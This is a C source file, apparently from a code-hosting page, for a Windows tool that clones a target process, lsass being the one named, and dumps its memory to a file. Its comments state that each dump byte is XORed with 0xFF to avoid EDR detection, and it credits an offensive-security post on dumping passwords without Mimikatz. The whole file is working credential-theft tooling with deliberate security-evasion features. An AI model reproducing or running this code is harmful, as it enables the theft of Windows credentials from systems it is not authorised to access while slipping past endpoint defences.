-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathprocessdumper.c
216 lines (195 loc) · 8.65 KB
/
processdumper.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
/* Program to dump a process's memory to memory to avoid some problems with
* dumping directly to disk.
* This has been tested on Windows 8.1 and Windows 10.
* Due to a dependency DbgHelp 6.5, Windows XP, and Windows server 2003 will not work.
* Furthermore, to support process cloning before dumping lsass, 64 bit is required.
*
* The created dump is inverted e.g., each byte is XOR:ed with 0xFF to avoid
* some EDRs.
*
* */
#include <sys/types.h>
#undef _WIN32_WINNT // Undefine variable set to 0x0502 by MinGW
#define _WIN32_WINNT 0x0603 // Windows 8.1
#include <windows.h>
#include <tlhelp32.h>
#include "minidumpapiset.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "processsnapshot.h"
#include "processdumper.h"
#pragma comment (lib, "Dbghelp.lib")
/*
* The inspiration for this project came from a blogpost by https://www.ired.team:
* https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-process-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
* And also some ideas from Microsoft's documentation at:
* https://docs.microsoft.com/en-us/previous-versions/windows/desktop/proc_snap/export-a-process-snapshot-to-a-file
*/
void reportBytesProcess(unsigned char *, DWORD);
LPVOID dumpBuffer;
size_t dumpBufferSize = 1024*1024*75; // Expect memory to dump to be less than 75MiB
DWORD bytesRead = 0;
BOOL CALLBACK minidumpCallback(
__in PVOID callbackParam,
__in const PMINIDUMP_CALLBACK_INPUT callbackInput,
__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput
) {
LPVOID destination = 0, source = 0;
DWORD bufferSize = 0;
switch (callbackInput->CallbackType)
{
case IoStartCallback:
callbackOutput->Status = S_FALSE;
if (debug) {
printf("[Debug] Received IoStartCallback\n");
}
break;
case IoWriteAllCallback:
// Requires DbgHelp 6.5 or later to support the Io struct member.
source = callbackInput->Io.Buffer;
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
// Check if the pointer to + buffsize address is larger than the dumpBuffer offset + total length of buffer.
// e.g., will this write put data after the dumpBuffer ends.
DWORD_PTR targetpos = (DWORD_PTR)destination + (DWORD_PTR)bufferSize;
DWORD_PTR dumpBufferMaxPos = (DWORD_PTR)dumpBuffer + (DWORD_PTR)dumpBufferSize;
if (targetpos > dumpBufferMaxPos) {
while (targetpos > dumpBufferMaxPos) {
if (dumpBufferSize > 2000*1024*1024) { // Max allocate 2 GiB
printf("[+] Trying to allocate too large of a dumpbuffer, more than 1GiB\n");
return 0; // Return failure
}
dumpBufferSize = dumpBufferSize + 50*1024*1024; //Increase by 50MiB each time instead of double
dumpBufferMaxPos = (DWORD_PTR)dumpBuffer + (DWORD_PTR)dumpBufferSize;
}
LPVOID newBuffer = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dumpBuffer, dumpBufferSize);
if (newBuffer == NULL) {
// Failed to allocate large enough buffer
return 0; // Return failure
}
dumpBuffer = newBuffer;
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
}
for (int i=0; i<bufferSize; i++) {
*(unsigned char *)(destination + i) = *(unsigned char *)(source + i) ^ 0xff;
}
callbackOutput->Status = S_OK;
break;
case IoFinishCallback:
if (debug) {
printf("[Debug] Finished dumping process in IoFinishCallback\n");
}
callbackOutput->Status = S_OK;
break;
case IsProcessSnapshotCallback:
// Instruct MiniDumpWriteDump that the handle is a PSSsnapshot handle, not a process handle.
callbackOutput->Status = S_FALSE;
break;
default:
break;
}
return 1;
}
void DumpProcess(char *targetProcess) {
DWORD processPID = -1;
HANDLE processHandle = NULL;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
// if (debug) {
// printf("[Debug] Created snapshot\n");
// }
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dumpBufferSize);
if(NULL == dumpBuffer) {
printf("[Debug] Failed to allocate memory (%d bytes)\n", dumpBufferSize);
if(debug) {
char buf[256];
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM|FORMAT_MESSAGE_IGNORE_INSERTS,NULL,GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),buf,(sizeof(buf)/sizeof(wchar_t)), NULL);
printf("[Debug] Failed to allocate memory with error: %s\n", buf);
}
return;
}
if (debug) {
printf("[Debug] Allocated memory for the memory dump\n");
printf("[Debug] Attempting to find PID of %s\n", targetProcess);
}
if (Process32First(snapshot, &processEntry)) {
do {
if(strcmp(targetProcess, processEntry.szExeFile) == 0) {
processPID = processEntry.th32ProcessID;
break;
}
} while(Process32Next(snapshot, &processEntry));
if(processPID == -1) {
printf("Process not found\n");
if (debug) {
printf("[Debug] Freeing allocated memory and closing snapshot\n");
}
CloseHandle(snapshot);
HeapFree(GetProcessHeap(), 0, dumpBuffer);
return;
}
printf("[+] %s PID=%d\n", targetProcess, processPID);
}
CloseHandle(snapshot);
if (debug) {
printf("[Debug] Attempting to open handle to the (%s) process\n", targetProcess);
}
processHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, processPID);
if (processHandle == NULL) {
if (debug) {
char buf[256];
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM|FORMAT_MESSAGE_IGNORE_INSERTS,NULL,GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),buf,(sizeof(buf)/sizeof(wchar_t)), NULL);
printf("[Debug] Failed to open process handle with error: %s\n", buf);
}
HeapFree(GetProcessHeap(), 0, dumpBuffer);
return;
}
// if (debug) {
// printf("[Debug] Opened handle to the (%s) process\n", targetProcess);
// }
DWORD flags = (DWORD)PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_HANDLES | PSS_CAPTURE_HANDLE_NAME_INFORMATION | PSS_CAPTURE_HANDLE_BASIC_INFORMATION | PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION | PSS_CAPTURE_HANDLE_TRACE | PSS_CAPTURE_THREADS | PSS_CAPTURE_THREAD_CONTEXT | PSS_CAPTURE_THREAD_CONTEXT_EXTENDED | PSS_CREATE_BREAKAWAY | PSS_CREATE_BREAKAWAY_OPTIONAL | PSS_CREATE_USE_VM_ALLOCATIONS | PSS_CREATE_RELEASE_SECTION;
HANDLE clonedHandle = NULL;
MINIDUMP_CALLBACK_INFORMATION callbackInfo;
ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = &minidumpCallback;
callbackInfo.CallbackParam = NULL;
if (debug) {
printf("[Debug] Attempting to clone the (%s) process\n", targetProcess);
}
if(PssCaptureSnapshot(processHandle, (PSS_CAPTURE_FLAGS)flags, CONTEXT_ALL, (HPSS*)&clonedHandle) != ERROR_SUCCESS) {
if (debug) {
char buf[256];
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM|FORMAT_MESSAGE_IGNORE_INSERTS,NULL,GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),buf,(sizeof(buf)/sizeof(wchar_t)), NULL);
printf("[Debug] Failed to clone process with error: %s\n", buf);
}
CloseHandle(processHandle);
HeapFree(GetProcessHeap(), 0, dumpBuffer);
return;
}
if (debug) {
printf("[Debug] Attempting to dump the (%s) process\n", targetProcess);
}
BOOL isDumped = MiniDumpWriteDump(clonedHandle, processPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);
if (isDumped) {
reportBytesProcess(dumpBuffer, bytesRead);
} else {
printf("[+] Failed to dump the (%s) process!\n", targetProcess);
}
if (debug) {
printf("[Debug] Freeing allocated memory\n");
}
HeapFree(GetProcessHeap(), 0, dumpBuffer);
PssFreeSnapshot(GetCurrentProcess(), (HPSS)clonedHandle);
}
void reportBytesProcess(unsigned char *dumpBuffer, DWORD bytesRead) {
// Write dump to file
if (fwrite(dumpBuffer, 1, (size_t)bytesRead, outfile) != bytesRead) {
printf("Failed to write process dump to file\n");
} else {
printf("Done, process dumped %d bytes written to %s\n", bytesRead, filename);
}
}